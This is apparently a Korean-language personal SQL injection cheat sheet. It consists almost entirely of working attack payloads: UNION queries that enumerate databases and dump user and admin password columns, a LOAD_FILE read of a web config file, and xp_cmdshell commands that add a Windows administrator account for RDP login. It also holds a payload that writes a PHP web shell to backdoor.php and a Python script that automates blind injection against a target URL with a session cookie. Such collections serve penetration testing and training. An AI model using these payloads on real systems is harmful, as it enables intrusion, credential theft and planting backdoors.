SQL Injection 모듬

 

 

 

[MySQL] UNION based

 

 

참고 :

https://www.youtube.com/watch?v=z5pdizHDvt8

 

valid_username'-- -
1' union select 1,2 -- -

# 테이블 스키마 검색
1' union select schema_name from information_schema.shemata-- - # 필드가 하나인 경우 하나만 출력됨
1' union select group_concat(schema_name) from information_schema.schemata-- -

# 해당 스키마의 테이블, 컬럼명 검색
1' union select group_concat(TABLE_NAME, COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA = 'november'-- -
1' union select group_concat(TABLE_NAME, COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA like 'nove%'-- -  # like은 와일드 카드를 쓸 수 있음
# 위 쿼리를 더 보기좋게 출력해보면
1' union select group_concat(TABLE_NAME, " : ", COLUMN_NAME, "\n") from information_schema.columns where TABLE_SCHEMA like 'nove%'-- -  # like은 와일드 카드를 쓸 수 있음

# 출력 예시
one : flag
player : player

# 스키마 내용 출력
1' union select group_concat(one, "\n")from november.flag-- -
1' union select group_concat(player, "\n") from november.players-- -

# 파일 읽기
1' union select LOAD_FILE('/var/www/html/config.php')-- -

 

 

 

 

 

---

 

 

[Oracle]

UNION based

SQL injection (union bases oracle) 
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://guide.offsecnewbie.com/5-sql
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html
http://egloos.zum.com/totoriver/v/3012348

!!경우에 따라서 일반 유저 입력란이 아닌 cookie에 입력할 수도 있다!!

0. List Users
▶ 'or 1=1 union select name,null FROM master..syslogins--

1. Enumerate columns
'or 1=1 order by 3 --

2. Find type of columns 문자 혹 숫자
'or 1=1 union select null,null,null from dual --
'or 1=1 union select '1111',null,null from dual --
'or 1=1 union select user,null,null from dual --

3. Extract table names
'or 1=1 union select table_name,null,null from all_tables --
'or 1=1 union select table_name,null FROM information_schema.tables --

4. Extract Column names:
'or 1=1 union select column_name,null from information_schema.columns where table_name='users' -- --
'or 1=1 union select column_name,null,null from all_tab_columns where table_name='WEB_ADMINS' --


5. Admin name and password :
'or 1=1 union select ADMIN_NAME,PASSWORD,PASSWORD,null from WEB_ADMINS --
▶ 'or 1=1 union select name, from users --
▶ 'or 1=1 union select pass,null from users --


6. find injectable parameter with time delays
'or 1=1 ; WAITFOR DELAY '0:0:5' --


7.If 6 works, I can try to enable xp_cmdshell:
▶ 'or 1=1 ; Use master; --
▶ 'or 1=1 ; exec sp_configure 'show advanced options', 1;--
▶ 'or 1=1 ; reconfigure;--
▶ 'or 1=1 ; exec sp_configure 'xp_cmdshell', 1;--
▶ 'or 1=1 ; reconfigure;--
▶ 'or 1=1 ; exec master..xp_cmdshell 'net user OS-94404 password1! /add && net localgroup administrators OS-94404 /add'; --

8.RDP로 로그인 테스트
rdesktop 10.11.1.x -u OS-94404 -p password1! -g 70% &

---------------------------------------

**** SQL Injection **** 
OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]；
OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11 FROM information_schema.tables#"]; 테이블명 확인
OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11 FROM information_schema.columns WHERE table_name='wp_users'#"]; 해당 테이블 컬럼 확인
OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11 FROM wp_users#"]; 유저명 확인
OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11 FROM wp_users#"]; 패스 확인


debug.php?id=1 union all select 1, 2, "<?php echo '<pre>' . shell_exec($_GET['cmd']);?> . '</pre>';?>" into OUTFILE "c:/xampp/htdocs/backdoor.php"

 

 

 

---

 

 

[Oracle]

자주 쓰는 Union 구문

1. 컬럼 갯수 + 타입 확인
'union select null,null,null from dual-- -
'union select 1,'2',3 from dual-- -

2. 테이블명 확인
'union select null, table_name,null from all_tables(user_tables)--

3. 컬럼명 확인
'union select null, column_name,null from cols(all_tab_columns) where table_name=' '--

4. 컬럼 내용 확인
'union select null, TO_CHAR(ALLOC_COUNT), null from table.X--

========================================================================================

# 특정 컬럼 찾을 때

1. 전체 컬럼 이름먼저 확인
'union select null, column_name,null from all_tab_columns(cols)--

2. 찾은 컬럼이 속해있는 테이블 검색
'union select null, table_name,null from cols where column_name='컬럼명'--

3. 컬럼 내용 or 항목 확인
'union select null, pass, null from 테이블명--

# 참고
union sql 특성상 출력 필드의 데이터 타입이 다를 경우 error가 나는데
알맞은 데이터 필드를 찾아 출력을 시키거나 데이터 변환 함수를 사용해 출력하면 된다.
예) 부적절한 식별자입니다

 

 

 

---

 

 

[Oracle]

Blind SQL Injection 자동화

import datetime
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
today = datetime.datetime.now()
print(today)

url = "https://url/target/attack.do"
cookies = {"JSESSIONID":"0000FASJlakdfsdfRFD123:-1"}
data = {"param1" : "val1", "param2" : "val2", "_param3" : ""}
query = "'or substr((select banner from v$version, x, 1) > chr(y)--"

for i in range(1, 100):
    min_v = 0
    max_v = 126
    for j in range(1,100):
        v = int(min_v + (max_v - min_v)/2)
        data['_param3'] = query.replace('x', str(i)).replace('y', str(v))
        resp = requests.post(url, data=data, cookies=cookies, verify=False)
        if (len(resp.text)) > 25000:
            min_v = v + 1
        else:
            max_v = v
        if (min_v == max_v and min_v == v):
            print(chr(v), end="")
            if (max_v == 0):
                exit(0)
            break
  

 

'union select 1,2,3,concat(UserName,":",password),null,null from managers #